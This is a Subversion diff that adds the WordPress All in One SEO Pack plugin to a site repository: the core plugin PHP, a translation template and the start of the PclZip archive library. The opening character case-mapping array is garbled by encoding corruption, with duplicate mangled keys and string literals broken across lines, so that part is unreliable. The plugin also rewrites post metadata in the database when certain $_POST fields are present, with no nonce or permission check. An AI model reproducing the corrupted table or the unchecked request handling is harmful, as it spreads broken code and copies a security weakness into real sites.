+	"É¯" => "Æ",	"É©" => "Æ",	"Éš" => "Æ",
+	"É£" => "Æ",	"É " => "Æ",	"É" => "Æ",
+	"É" => "Æ",	"É" => "Æ",	"É" => "Æ",
+	"É" => "Æ",	"É" => "Æ",	"È³" => "È²",
+	"È±" => "È°",	"È¯" => "È®",	"È­" => "È¬",
+	"È«" => "Èª",	"È©" => "Èš",	"È§" => "ÈŠ",
+	"È¥" => "È€",	"È£" => "È¢",	"È" => "È",
+	"È" => "È",	"È" => "È",	"È" => "È",
+	"È" => "È",	"È" => "È",	"È" => "È",
+	"È" => "È",	"È" => "È",	"È" => "È",
+	"È" => "È",	"È" => "È",	"È" => "È",
+	"È
+" => "È",	"È" => "È",	"È" => "È",
+	"Ç¿" => "ÇŸ",	"Çœ" => "ÇŒ",	"Ç»" => "Çº",
+	"Ç¹" => "Çž",	"Çµ" => "ÇŽ",	"Ç³" => "Ç²",
+	"Ç¯" => "Ç®",	"Ç­" => "Ç¬",	"Ç«" => "Çª",
+	"Ç©" => "Çš",	"Ç§" => "ÇŠ",	"Ç¥" => "Ç€",
+	"Ç£" => "Ç¢",	"Ç¡" => "Ç ",	"Ç" => "Ç",
+	"Ç" => "Æ",	"Ç" => "Ç",	"Ç" => "Ç",
+	"Ç" => "Ç",	"Ç" => "Ç",	"Ç" => "Ç",
+	"Ç" => "Ç",	"Ç" => "Ç",	"Ç" => "Ç",
+	"Ç" => "Ç",	"Ç" => "Ç",	"Ç" => "Ç
+",
+	"Æ¿" => "Ç·",	"Æœ" => "ÆŒ",	"Æ¹" => "Æž",
+	"Æ¶" => "Æµ",	"ÆŽ" => "Æ³",	"Æ°" => "Æ¯",
+	"Æ­" => "Æ¬",	"Æš" => "Æ§",	"Æ¥" => "Æ€",
+	"Æ£" => "Æ¢",	"Æ¡" => "Æ ",	"Æ" => "È ",
+	"Æ" => "Æ",	"Æ" => "Ç¶",	"Æ" => "Æ",
+	"Æ" => "Æ",	"Æ" => "Æ",	"Æ
+" => "Æ",
+	"Æ" => "Æ",	"Å¿" => "S",	"ÅŸ" => "Åœ",
+	"ÅŒ" => "Å»",	"Åº" => "Å¹",	"Å·" => "Å¶",
+	"Åµ" => "ÅŽ",	"Å³" => "Å²",	"Å±" => "Å°",
+	"Å¯" => "Å®",	"Å­" => "Å¬",	"Å«" => "Åª",
+	"Å©" => "Åš",	"Å§" => "ÅŠ",	"Å¥" => "Å€",
+	"Å£" => "Å¢",	"Å¡" => "Å ",	"Å" => "Å",
+	"Å" => "Å",	"Å" => "Å",	"Å" => "Å",
+	"Å" => "Å",	"Å" => "Å",	"Å" => "Å",
+	"Å" => "Å",	"Å" => "Å",	"Å" => "Å",
+	"Å" => "Å",	"Å" => "Å",	"Å" => "Å
+",
+	"Å" => "Å",	"Å" => "Å",	"Å" => "Ä¿",
+	"ÄŸ" => "Äœ",	"ÄŒ" => "Ä»",	"Äº" => "Ä¹",
+	"Ä·" => "Ä¶",	"Äµ" => "ÄŽ",	"Ä³" => "Ä²",
+	"Ä±" => "I",	"Ä¯" => "Ä®",	"Ä­" => "Ä¬",
+	"Ä«" => "Äª",	"Ä©" => "Äš",	"Ä§" => "ÄŠ",
+	"Ä¥" => "Ä€",	"Ä£" => "Ä¢",	"Ä¡" => "Ä ",
+	"Ä" => "Ä",	"Ä" => "Ä",	"Ä" => "Ä",
+	"Ä" => "Ä",	"Ä" => "Ä",	"Ä" => "Ä",
+	"Ä" => "Ä",	"Ä" => "Ä",	"Ä" => "Ä",
+	"Ä" => "Ä",	"Ä" => "Ä",	"Ä" => "Ä",
+	"Ä" => "Ä",	"Ä
+" => "Ä",	"Ä" => "Ä",
+	"Ä" => "Ä",	"Ã¿" => "Åž",	"ÃŸ" => "Ã",
+	"Ãœ" => "Ã",	"ÃŒ" => "Ã",	"Ã»" => "Ã",
+	"Ãº" => "Ã",	"Ã¹" => "Ã",	"Ãž" => "Ã",
+	"Ã¶" => "Ã",	"Ãµ" => "Ã",	"ÃŽ" => "Ã",
+	"Ã³" => "Ã",	"Ã²" => "Ã",	"Ã±" => "Ã",
+	"Ã°" => "Ã",	"Ã¯" => "Ã",	"Ã®" => "Ã",
+	"Ã­" => "Ã",	"Ã¬" => "Ã",	"Ã«" => "Ã",
+	"Ãª" => "Ã",	"Ã©" => "Ã",	"Ãš" => "Ã",
+	"Ã§" => "Ã",	"ÃŠ" => "Ã",	"Ã¥" => "Ã
+",
+	"Ã€" => "Ã",	"Ã£" => "Ã",	"Ã¢" => "Ã",
+	"Ã¡" => "Ã",	"Ã " => "Ã",	"Âµ" => "Î",
+	"z" => "Z",		"y" => "Y",		"x" => "X",
+	"w" => "W",		"v" => "V",		"u" => "U",
+	"t" => "T",		"s" => "S",		"r" => "R",
+	"q" => "Q",		"p" => "P",		"o" => "O",
+	"n" => "N",		"m" => "M",		"l" => "L",
+	"k" => "K",		"j" => "J",		"i" => "I",
+	"h" => "H",		"g" => "G",		"f" => "F",
+	"e" => "E",		"d" => "D",		"c" => "C",
+	"b" => "B",		"a" => "A",
+);
+
+if ( ! defined( 'WP_CONTENT_URL' ) )
+    define( 'WP_CONTENT_URL', get_option( 'siteurl' ) . '/wp-content' );
+if ( ! defined( 'WP_CONTENT_DIR' ) )
+    define( 'WP_CONTENT_DIR', ABSPATH . 'wp-content' );
+if ( ! defined( 'WP_PLUGIN_URL' ) )
+    define( 'WP_PLUGIN_URL', WP_CONTENT_URL. '/plugins' );
+if ( ! defined( 'WP_PLUGIN_DIR' ) )
+    define( 'WP_PLUGIN_DIR', WP_CONTENT_DIR . '/plugins' );
+
+require_once('aioseop.class.php');
+
+global $aioseop_options;
+$aioseop_options = get_option('aioseop_options');
+
+
+
+/*
+add_option("aiosp_home_description", null, 'All in One SEO Plugin Home Description', 'yes');
+add_option("aiosp_home_title", null, 'All in One SEO Plugin Home Title', 'yes');
+add_option("aiosp_donate", 0, 'All in One SEO Pack Donate', 'no');
+add_option("aiosp_can", 1, 'All in One SEO Pack Canonical URLs', 'yes');
+add_option("aiosp_rewrite_titles", 1, 'All in One SEO Plugin Rewrite Titles', 'yes');
+add_option("aiosp_use_categories", 0, 'All in One SEO Plugin Use Categories', 'yes');
+add_option("aiosp_category_noindex", 1, 'All in One SEO Plugin Noindex for Categories', 'yes');
+add_option("aiosp_archive_noindex", 1, 'All in One SEO Plugin Noindex for Archives', 'yes');
+add_option("aiosp_tags_noindex", 0, 'All in One SEO Plugin Noindex for Tag Archives', 'yes');
+add_option("aiosp_generate_descriptions", 1, 'All in One SEO Plugin Autogenerate Descriptions', 'yes');
+add_option("aiosp_post_title_format", '%post_title% | %blog_title%', 'All in One SEO Plugin Post Title Format', 'yes');
+add_option("aiosp_page_title_format", '%page_title% | %blog_title%', 'All in One SEO Plugin Page Title Format', 'yes');
+add_option("aiosp_dynamic_postspage_keywords", 1, 'All in One SEO Plugin Dynamic Posts Page Keywords', 'yes');
+add_option("aiosp_category_title_format", '%category_title% | %blog_title%', 'All in One SEO Plugin Category Title Format', 'yes');
+add_option("aiosp_archive_title_format", '%date% | %blog_title%', 'All in One SEO Plugin Archive Title Format', 'yes');
+add_option("aiosp_tag_title_format", '%tag% | %blog_title%', 'All in One SEO Plugin Tag Title Format', 'yes');
+add_option("aiosp_search_title_format", '%search% | %blog_title%', 'All in One SEO Plugin Search Title Format', 'yes');
+add_option("aiosp_description_format", '%description%', 'All in One SEO Plugin Description Format', 'yes');
+add_option("aiosp_paged_format", ' - Part %page%', 'All in One SEO Plugin Paged Format', 'yes');
+add_option("aiosp_404_title_format", 'Nothing found for %request_words%', 'All in One SEO Plugin 404 Title Format', 'yes');
+add_option("aiosp_post_meta_tags", '', 'All in One SEO Plugin Additional Post Meta Tags', 'yes');
+add_option("aiosp_page_meta_tags", '', 'All in One SEO Plugin Additional Post Meta Tags', 'yes');
+add_option("aiosp_home_meta_tags", '', 'All in One SEO Plugin Additional Home Meta Tags', 'yes');
+add_option("aiosp_do_log", null, 'All in One SEO Plugin write log file', 'yes');
+*/
+
+//$role = get_role('administrator');
+//$role->add_cap('Edit AIOSEOP Options');
+//$role->add_cap('Edit AIOSEOP on Posts/Pages');
+
+////checking to see if things need to be updated
+
+//if_post('turn-on'){
+	
+	/*   automattic?
+if(!get_option('aioseop_options')){
+	aioseop_mrt_fix_meta(); //move this to the if also 
+	aioseop_mrt_mkarry();
+	}
+*/
+
+if($_POST['aioseop_migrate']) aioseop_mrt_fix_meta();
+if($_POST['aioseop_migrate_options']) aioseop_mrt_mkarry();
+if(!get_option('aiosp_post_title_format') && !get_option('aioseop_options')) aioseop_mrt_mkarry();
+
+//}end _post('turn_on')
+
+
+////end checking to see if things need to be updated
+
+
+function aioseop_mrt_fix_meta(){
+global $wpdb;
+$wpdb->query("UPDATE $wpdb->postmeta SET meta_key = '_aioseop_keywords' WHERE meta_key = 'keywords'");
+$wpdb->query("UPDATE $wpdb->postmeta SET meta_key = '_aioseop_title' WHERE meta_key = 'title'");	
+$wpdb->query("UPDATE $wpdb->postmeta SET meta_key = '_aioseop_description' WHERE meta_key = 'description'");
+$wpdb->query("UPDATE $wpdb->postmeta SET meta_key = '_aioseop_meta' WHERE meta_key = 'aiosp_meta'");
+$wpdb->query("UPDATE $wpdb->postmeta SET meta_key = '_aioseop_disable' WHERE meta_key = 'aiosp_disable'");
+echo "<div class='updated fade' style='background-color:green;border-color:green;'><p><strong>Updating SEO post meta in database.</strong></p></div";
+}
+
+function aioseop_get_version(){
+	return '1.6.5';
+}
+
+
+
+
+function aioseop_mrt_mkarry() {
+$naioseop_options = array(
+"aiosp_can"=>1,
+"aiosp_donate"=>0,
+"aiosp_home_title"=>null,
+"aiosp_home_description"=>'',
+"aiosp_home_keywords"=>null,
+"aiosp_max_words_excerpt"=>'something',
+"aiosp_rewrite_titles"=>1,
+"aiosp_post_title_format"=>'%post_title% | %blog_title%',
+"aiosp_page_title_format"=>'%page_title% | %blog_title%',
+"aiosp_category_title_format"=>'%category_title% | %blog_title%',
+"aiosp_archive_title_format"=>'%date% | %blog_title%',
+"aiosp_tag_title_format"=>'%tag% | %blog_title%',
+"aiosp_search_title_format"=>'%search% | %blog_title%',
+"aiosp_description_format"=>'%description%',
+"aiosp_404_title_format"=>'Nothing found for %request_words%',
+"aiosp_paged_format"=>' - Part %page%',
+"aiosp_use_categories"=>0,
+"aiosp_dynamic_postspage_keywords"=>1,
+"aiosp_category_noindex"=>1,
+"aiosp_archive_noindex"=>1,
+"aiosp_tags_noindex"=>0,
+"aiosp_cap_cats"=>1,
+"aiosp_generate_descriptions"=>1,
+"aiosp_debug_info"=>null,
+"aiosp_post_meta_tags"=>'',
+"aiosp_page_meta_tags"=>'',
+"aiosp_home_meta_tags"=>'',
+"aiosp_enabled" =>0,
+"aiosp_do_log"=>null);
+
+if(get_option('aiosp_post_title_format')){
+foreach( $naioseop_options as $aioseop_opt_name => $value ) {
+		if( $aioseop_oldval = get_option($aioseop_opt_name) ) {
+			$naioseop_options[$aioseop_opt_name] = $aioseop_oldval;
+			
+		}
+		if( $aioseop_oldval == ''){
+                          $naioseop_options[$aioseop_opt_name] = '';
+                      }
+        
+		delete_option($aioseop_opt_name);
+	}
+}
+add_option('aioseop_options',$naioseop_options);
+echo "<div class='updated fade' style='background-color:green;border-color:green;'><p><strong>Updating SEO configuration options in database</strong></p></div";
+
+}
+//if( function_exists( 'is_site_admin' ) ) {
+
+function aioseop_activation_notice(){
+	global $aioseop_options;
+				echo '<div class="error fade" style="background-color:red;"><p><strong>All in One SEO Pack must be configured. Go to <a href="' . admin_url( 'options-general.php?page=all-in-one-seo-pack/aioseop.class.php' ) . '">the admin page</a> to enable and configure the plugin.</strong></p></div>';
+
+}
+
+//add_action('after_plugin_row_all-in-one-seo-pack/all_in_one_seo_pack.php', 'add_plugin_row', 10, 2);
+
+function add_plugin_row($links, $file) {
+
+echo '<td colspan="5" style="background-color:yellow;">';
+echo  wp_remote_fopen('http://aioseop.semperfiwebdesign.com/');
+echo '</td>';
+
+}
+function aioseop_activate_pl(){
+	if(get_option('aioseop_options')){
+		$aioseop_options = get_option('aioseop_options');
+		$aioseop_options['aiosp_enabled'] = "0";
+		$aioseop_options['aiosp_donate'] = "0";
+		update_option('aioseop_options',$aioseop_options);
+	}
+}
+
+
+if($aioseop_options['aiosp_enabled']){
+	add_action('wp_list_pages', 'aioseop_list_pages');
+
+}
+$aiosp = new All_in_One_SEO_Pack();	
+add_action('edit_post', array($aiosp, 'post_meta_tags'));
+add_action('publish_post', array($aiosp, 'post_meta_tags'));
+add_action('save_post', array($aiosp, 'post_meta_tags'));
+add_action('edit_page_form', array($aiosp, 'post_meta_tags'));
+add_action('init', array($aiosp, 'init'));
+add_action('wp_head', array($aiosp, 'wp_head'));
+add_action('template_redirect', array($aiosp, 'template_redirect'));
+//add_action('admin_head',array($aiosp, 'seo_mrt_admin_head');
+add_action('admin_menu', array($aiosp, 'admin_menu'));
+add_action('admin_menu', 'aiosp_meta_box_add');
+
+
+
+if( ($_POST['aiosp_enabled'] == null && $aioseop_options['aiosp_enabled']!='1') || $_POST['aiosp_enabled']=='0'){
+add_action( 'admin_notices', 'aioseop_activation_notice');
+}
+
+
+// The following two functions copied entirely and modified slightly from Sarah G's Page Menu Editor, http://wordpress.org/extend/plugins/page-menu-editor/
+function aioseop_list_pages($content){
+		$url = preg_replace(array('/\//', '/\./', '/\-/'), array('\/', '\.', '\-'), get_option('siteurl'));
+		$pattern = '/<li class="page_item page-item-(\d+)([^\"]*)"><a href=\"([^\"]+)" title="([^\"]+)">([^<]+)<\/a>/i';
+		return preg_replace_callback($pattern, "aioseop_filter_callback", $content);
+	}
+
+function aioseop_filter_callback($matches) {
+	global $wpdb;
+	if ($matches[1] && !empty($matches[1])) $postID = $matches[1];
+	if (empty($postID)) $postID = get_option("page_on_front");
+	$title_attrib = stripslashes(get_post_meta($postID, '_aioseop_titleatr', true));
+	$menulabel = stripslashes(get_post_meta($postID, '_aioseop_menulabel', true));
+	if (empty($menulabel)) $menulabel = $matches[4];
+	if (!empty($title_attrib)) :
+		$filtered = '<li class="page_item page-item-'.$postID.$matches[2].'"><a href="'.$matches[3].'" title="'.$title_attrib.'">'.$menulabel.'</a>';
+	else :
+		$filtered = '<li class="page_item page-item-'.$postID.$matches[2].'"><a href="'.$matches[3].'">'.$menulabel.'</a>';
+	endif;
+	return $filtered;
+}
+
+if (substr($aiosp->wp_version, 0, 3) < '2.5') {
+        add_action('dbx_post_advanced', array($aiosp, 'add_meta_tags_textinput'));
+        add_action('dbx_page_advanced', array($aiosp, 'add_meta_tags_textinput'));
+}
+
+
+
+
+function aiosp_meta_box_add() {
+	if ( function_exists('add_meta_box') ) {
+		add_meta_box('aiosp',__('All in One SEO Pack', 'all_in_one_seo_pack'),'aiosp_meta','post');
+		add_meta_box('aiosp',__('All in One SEO Pack', 'all_in_one_seo_pack'),'aiosp_meta','page');
+	} else {
+		add_action('dbx_post_advanced', array($aiosp, 'add_meta_tags_textinput'));
+		add_action('dbx_page_advanced', array($aiosp, 'add_meta_tags_textinput'));
+	}
+}
+
+function aiosp_meta() {
+
+	global $post;
+	
+	$post_id = $post;
+	if (is_object($post_id)){
+		$post_id = $post_id->ID;
+	}
+ 	$keywords = htmlspecialchars(stripcslashes(get_post_meta($post_id, '_aioseop_keywords', true)));
+    $title = htmlspecialchars(stripcslashes(get_post_meta($post_id, '_aioseop_title', true)));
+	$description = htmlspecialchars(stripcslashes(get_post_meta($post_id, '_aioseop_description', true)));
+    $aiosp_meta = htmlspecialchars(stripcslashes(get_post_meta($post_id, '_aiosp_meta', true)));
+    $aiosp_disable = htmlspecialchars(stripcslashes(get_post_meta($post_id, '_aiosp_disable', true)));
+    $aiosp_titleatr = htmlspecialchars(stripcslashes(get_post_meta($post_id, '_aioseop_titleatr', true)));
+    $aiosp_menulabel = htmlspecialchars(stripcslashes(get_post_meta($post_id, '_aioseop_menulabel', true)));	
+	?>
+		<SCRIPT LANGUAGE="JavaScript">
+		<!-- Begin
+		function countChars(field,cntfield) {
+		cntfield.value = field.value.length;
+		}
+		//  End -->
+		</script>
+		<input value="aiosp_edit" type="hidden" name="aiosp_edit" />
+		
+		<a target="__blank" href="http://semperfiwebdesign.com/forum/"><?php _e('Click here for Support', 'all_in_one_seo_pack') ?></a>
+		<table style="margin-bottom:40px">
+		<tr>
+		<th style="text-align:left;" colspan="2">
+		</th>
+		</tr>
+		<tr>
+		<th scope="row" style="text-align:right;"><?php _e('Title:', 'all_in_one_seo_pack') ?></th>
+		<td><input value="<?php echo $title ?>" type="text" name="aiosp_title" size="62"/></td>
+		</tr>
+		<tr>
+		<th scope="row" style="text-align:right;"><?php _e('Description:', 'all_in_one_seo_pack') ?></th>
+		<td><textarea name="aiosp_description" rows="3" cols="60"
+		onKeyDown="countChars(document.post.aiosp_description,document.post.length1)"
+		onKeyUp="countChars(document.post.aiosp_description,document.post.length1)"><?php echo $description ?></textarea><br />
+		<input readonly type="text" name="length1" size="3" maxlength="3" value="<?php echo strlen($description);?>" />
+		<?php _e(' characters. Most search engines use a maximum of 160 chars for the description.', 'all_in_one_seo_pack') ?>
+		</td>
+		</tr>
+		<tr>
+		<th scope="row" style="text-align:right;"><?php _e('Keywords (comma separated):', 'all_in_one_seo_pack') ?></th>
+		<td><input value="<?php echo $keywords ?>" type="text" name="aiosp_keywords" size="62"/></td>
+		</tr>
+		<input type="hidden" name="nonce-aioseop-edit" value="<?php echo wp_create_nonce('edit-aioseop-nonce') ?>" />
+<?php if($post->post_type=='page'){ ?>
+		<tr>
+		<th scope="row" style="text-align:right;"><?php _e('Title Attribute:', 'all_in_one_seo_pack') ?></th>
+		<td><input value="<?php echo $aiosp_titleatr ?>" type="text" name="aiosp_titleatr" size="62"/></td>
+		</tr>
+		
+		<tr>
+		<th scope="row" style="text-align:right;"><?php _e('Menu Label:', 'all_in_one_seo_pack') ?></th>
+		<td><input value="<?php echo $aiosp_menulabel ?>" type="text" name="aiosp_menulabel" size="62"/></td>
+		</tr>
+<?php } ?>
+		<tr>
+		<th scope="row" style="text-align:right; vertical-align:top;">
+		<?php _e('Disable on this page/post:', 'all_in_one_seo_pack')?>
+		</th>
+		<td>
+		<input type="checkbox" name="aiosp_disable" <?php if ($aiosp_disable) echo "checked=\"1\""; ?>/>
+		</td>
+		</tr>
+
+
+		</table>
+	<?php
+}
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/all-in-one-seo-pack/all_in_one_seo_pack.pot
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/all-in-one-seo-pack/all_in_one_seo_pack.pot	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/all-in-one-seo-pack/all_in_one_seo_pack.pot	(revision 44)
@@ -0,0 +1,293 @@
+msgid ""
+msgstr ""
+"Project-Id-Version: \n"
+"POT-Creation-Date: \n"
+"PO-Revision-Date: 2007-12-11 06:09+0200\n"
+"Last-Translator: Baris Unver <baris.unver@beyn.org>\n"
+"Language-Team: \n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=iso-8859-1\n"
+"Content-Transfer-Encoding: 8bit\n"
+
+msgid "All in One SEO Pack"
+msgstr ""
+
+msgid "Title:"
+msgstr ""
+
+msgid "Keywords (comma separated):"
+msgstr ""
+
+msgid "Description:"
+msgstr ""
+
+msgid " characters. Most search engines use a maximum of 160 chars for the description."
+msgstr ""
+
+msgid "All in One SEO"
+msgstr ""
+
+msgid "All in One SEO Options Updated."
+msgstr ""
+
+msgid "All in One SEO Plugin Options"
+msgstr ""
+
+msgid "This is version "
+msgstr ""
+
+msgid "All in One SEO Plugin Release History"
+msgstr ""
+
+msgid "FAQ"
+msgstr ""
+
+msgid "All in One SEO Plugin Feedback"
+msgstr ""
+
+msgid "Feedback"
+msgstr ""
+
+msgid "All in One SEO Plugin Translations"
+msgstr ""
+
+msgid "Translations"
+msgstr ""
+
+msgid "Click for Help!"
+msgstr ""
+
+msgid "Home Title:"
+msgstr ""
+
+msgid "As the name implies, this will be the title of your homepage. This is independent of any other option. If not set, the default blog title will get used."
+msgstr ""
+
+msgid "Home Description:"
+msgstr ""
+
+msgid "The META description for your homepage. Independent of any other options, the default is no META description at all if this is not set."
+msgstr ""
+
+msgid "Home Keywords (comma separated):"
+msgstr ""
+
+msgid "A comma separated list of your most important keywords for your site that will be written as META keywords on your homepage. Don't stuff everything in here."
+msgstr ""
+
+msgid "Rewrite Titles:"
+msgstr ""
+
+msgid "Note that this is all about the title tag. This is what you see in your browser's window title bar. This is NOT visible on a page, only in the window title bar and of course in the source. If set, all page, post, category, search and archive page titles get rewritten. You can specify the format for most of them. For example: The default templates puts the title tag of posts like this: \"Blog Archive >> Blog Name >> Post Title\" (maybe I've overdone slightly). This is far from optimal. With the default post title format, Rewrite Title rewrites this to \"Post Title | Blog Name\". If you have manually defined a title (in one of the text fields for All in One SEO Plugin input) this will become the title of your post in the format string."
+msgstr ""
+
+msgid "Post Title Format:"
+msgstr ""
+
+msgid "The following macros are supported:"
+msgstr ""
+
+msgid "%blog_title% - Your blog title"
+msgstr ""
+
+msgid "%blog_description% - Your blog description"
+msgstr ""
+
+msgid "%post_title% - The original title of the post"
+msgstr ""
+
+msgid "%category_title% - The (main) category of the post"
+msgstr ""
+
+msgid "%category% - Alias for %category_title%"
+msgstr ""
+
+msgid "Page Title Format:"
+msgstr ""
+
+msgid "%page_title% - The original title of the page"
+msgstr ""
+
+msgid "Category Title Format:"
+msgstr ""
+
+msgid "%category_title% - The original title of the category"
+msgstr ""
+
+msgid "%category_description% - The description of the category"
+msgstr ""
+
+msgid "Archive Title Format:"
+msgstr ""
+
+msgid "%date% - The original archive title given by wordpress, e.g. \"2007\" or \"2007 August\""
+msgstr ""
+
+msgid "Tag Title Format:"
+msgstr ""
+
+msgid "%tag% - The name of the tag"
+msgstr ""
+
+msgid "Search Title Format:"
+msgstr ""
+
+msgid "%search% - What was searched for"
+msgstr ""
+
+msgid "Description Format:"
+msgstr ""
+
+msgid "%description% - The original description as determined by the plugin, e.g. the excerpt if one is set or an auto-generated one if that option is set"
+msgstr ""
+
+msgid "404 Title Format:"
+msgstr ""
+
+msgid "%request_url% - The original URL path, like \"/url-that-does-not-exist/\""
+msgstr ""
+
+msgid "%request_words% - The URL path in human readable form, like \"Url That Does Not Exist\""
+msgstr ""
+
+msgid "Use Categories for META keywords:"
+msgstr ""
+
+msgid "Check this if you want your categories for a given post used as the META keywords for this post (in addition to any keywords and tags you specify on the post edit page)."
+msgstr ""
+
+msgid "Use noindex for Categories:"
+msgstr ""
+
+msgid "Check this for excluding category pages from being crawled. Useful for avoiding duplicate content."
+msgstr ""
+
+msgid "Use noindex for Archives:"
+msgstr ""
+
+msgid "Check this for excluding archive pages from being crawled. Useful for avoiding duplicate content."
+msgstr ""
+
+msgid "Use noindex for Tag Archives:"
+msgstr ""
+
+msgid "Check this for excluding tag pages from being crawled. Useful for avoiding duplicate content."
+msgstr ""
+
+msgid "Autogenerate Descriptions:"
+msgstr ""
+
+msgid "Check this and your META descriptions will get autogenerated if there's no excerpt."
+msgstr ""
+
+msgid "Update Options"
+msgstr ""
+
+msgid "Additional Post Headers:"
+msgstr ""
+
+msgid "Additional Page Headers:"
+msgstr ""
+
+msgid "What you enter here will be copied verbatim to your header on post pages. You can enter whatever additional headers you want here, even references to stylesheets."
+msgstr ""
+
+msgid "What you enter here will be copied verbatim to your header on pages. You can enter whatever additional headers you want here, even references to stylesheets."
+msgstr ""
+
+msgid "%wp_title% - The original wordpress title, e.g. post_title for posts"
+msgstr ""
+
+msgid "Upgraded to newest version. Please revisit the options page to make sure you see the newest version."
+msgstr ""
+
+msgid "Upgrade failed"
+msgstr ""
+
+msgid "(Remember: Backup early, backup often!)"
+msgstr ""
+
+msgid "Please make sure that %s is writable."
+msgstr ""
+
+msgid "One Click Upgrade"
+msgstr ""
+
+msgid "Should I upgrade?"
+msgstr ""
+
+msgid "Additional META:"
+msgstr ""
+
+msgid "Could not download distribution (%s)"
+msgstr ""
+
+msgid "Could not download distribution (%s): %s"
+msgstr ""
+
+msgid "Could not open %s for writing"
+msgstr ""
+
+msgid "Please make sure %s is writable"
+msgstr ""
+
+msgid "Could not write to %s"
+msgstr ""
+
+msgid "Disable on this page/post:"
+msgstr ""
+
+msgid "Paged Format:"
+msgstr ""
+
+msgid "This string gets appended/prepended to titles when they are for paged index pages (like home or archive pages)."
+msgstr ""
+
+msgid "%page% - The page number"
+msgstr ""
+
+msgid "Part %page%"
+msgstr ""
+
+msgid "Log important events:"
+msgstr ""
+
+msgid "Check this and SEO pack will create a log of important events (all_in_one_seo_pack.log) in its plugin directory which might help debugging it. Make sure this directory is writable."
+msgstr ""
+
+msgid "%page_author_login% - This page's author' login"
+msgstr ""
+
+msgid "%page_author_nicename% - This page's author' nicename"
+msgstr ""
+
+msgid "%page_author_firstname% - This page's author' first name (capitalized)"
+msgstr ""
+
+msgid "%page_author_lastname% - This page's author' last name (capitalized)"
+msgstr ""
+
+msgid "%post_author_login% - This post's author' login"
+msgstr ""
+
+msgid "%post_author_nicename% - This post's author' nicename"
+msgstr ""
+
+msgid "%post_author_firstname% - This post's author' first name (capitalized)"
+msgstr ""
+
+msgid "%post_author_lastname% - This post's author' last name (capitalized)"
+msgstr ""
+
+msgid "Additional Home Headers:"
+msgstr ""
+
+msgid "What you enter here will be copied verbatim to your header on the home page. You can enter whatever additional headers you want here, even references to stylesheets."
+msgstr ""
+
+msgid "Click here for Support"
+msgstr ""
+
+msgid "You can click on option titles to get help!"
+msgstr ""
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/all-in-one-seo-pack/pclzip.lib.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/all-in-one-seo-pack/pclzip.lib.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/all-in-one-seo-pack/pclzip.lib.php	(revision 44)
@@ -0,0 +1,5651 @@
+<?php
+// --------------------------------------------------------------------------------
+// PhpConcept Library - Zip Module 2.5
+// --------------------------------------------------------------------------------
+// License GNU/LGPL - Vincent Blavet - March 2006
+// http://www.phpconcept.net
+// --------------------------------------------------------------------------------
+//
+// Presentation :
+//   PclZip is a PHP library that manage ZIP archives.
+//   So far tests show that archives generated by PclZip are readable by
+//   WinZip application and other tools.
+//
+// Description :
+//   See readme.txt and http://www.phpconcept.net
+//
+// Warning :
+//   This library and the associated files are non commercial, non professional
+//   work.
+//   It should not have unexpected results. However if any damage is caused by
+//   this software the author can not be responsible.
+//   The use of this software is at the risk of the user.
+//
+// --------------------------------------------------------------------------------
+// $Id: pclzip.lib.php,v 1.44 2006/03/08 21:23:59 vblavet Exp $
+// --------------------------------------------------------------------------------
+
+  // ----- Constants
+  define( 'PCLZIP_READ_BLOCK_SIZE', 2048 );
+
+  define( 'PCLZIP_SEPARATOR', ',' );
+
+  define( 'PCLZIP_ERROR_EXTERNAL', 0 );
+
+  define( 'PCLZIP_TEMPORARY_DIR', '' );
+
+// --------------------------------------------------------------------------------
+// ***** UNDER THIS LINE NOTHING NEEDS TO BE MODIFIED *****
+// --------------------------------------------------------------------------------
+
+  // ----- Global variables
+  $g_pclzip_version = "2.5";
+
+  define( 'PCLZIP_ERR_USER_ABORTED', 2 );
+  define( 'PCLZIP_ERR_NO_ERROR', 0 );
+  define( 'PCLZIP_ERR_WRITE_OPEN_FAIL', -1 );
+  define( 'PCLZIP_ERR_READ_OPEN_FAIL', -2 );
+  define( 'PCLZIP_ERR_INVALID_PARAMETER', -3 );
+  define( 'PCLZIP_ERR_MISSING_FILE', -4 );
+  define( 'PCLZIP_ERR_FILENAME_TOO_LONG', -5 );
+  define( 'PCLZIP_ERR_INVALID_ZIP', -6 );
+  define( 'PCLZIP_ERR_BAD_EXTRACTED_FILE', -7 );
+  define( 'PCLZIP_ERR_DIR_CREATE_FAIL', -8 );
+  define( 'PCLZIP_ERR_BAD_EXTENSION', -9 );
+  define( 'PCLZIP_ERR_BAD_FORMAT', -10 );
+  define( 'PCLZIP_ERR_DELETE_FILE_FAIL', -11 );
+  define( 'PCLZIP_ERR_RENAME_FILE_FAIL', -12 );
+  define( 'PCLZIP_ERR_BAD_CHECKSUM', -13 );
+  define( 'PCLZIP_ERR_INVALID_ARCHIVE_ZIP', -14 );
+  define( 'PCLZIP_ERR_MISSING_OPTION_VALUE', -15 );
+  define( 'PCLZIP_ERR_INVALID_OPTION_VALUE', -16 );
+  define( 'PCLZIP_ERR_ALREADY_A_DIRECTORY', -17 );
+  define( 'PCLZIP_ERR_UNSUPPORTED_COMPRESSION', -18 );
+  define( 'PCLZIP_ERR_UNSUPPORTED_ENCRYPTION', -19 );
+  define( 'PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE', -20 );
+  define( 'PCLZIP_ERR_DIRECTORY_RESTRICTION', -21 );
+
+  // ----- Options values
+  define( 'PCLZIP_OPT_PATH', 77001 );
+  define( 'PCLZIP_OPT_ADD_PATH', 77002 );
+  define( 'PCLZIP_OPT_REMOVE_PATH', 77003 );
+  define( 'PCLZIP_OPT_REMOVE_ALL_PATH', 77004 );
+  define( 'PCLZIP_OPT_SET_CHMOD', 77005 );
+  define( 'PCLZIP_OPT_EXTRACT_AS_STRING', 77006 );
+  define( 'PCLZIP_OPT_NO_COMPRESSION', 77007 );
+  define( 'PCLZIP_OPT_BY_NAME', 77008 );
+  define( 'PCLZIP_OPT_BY_INDEX', 77009 );
+  define( 'PCLZIP_OPT_BY_EREG', 77010 );
+  define( 'PCLZIP_OPT_BY_PREG', 77011 );
+  define( 'PCLZIP_OPT_COMMENT', 77012 );
+  define( 'PCLZIP_OPT_ADD_COMMENT', 77013 );
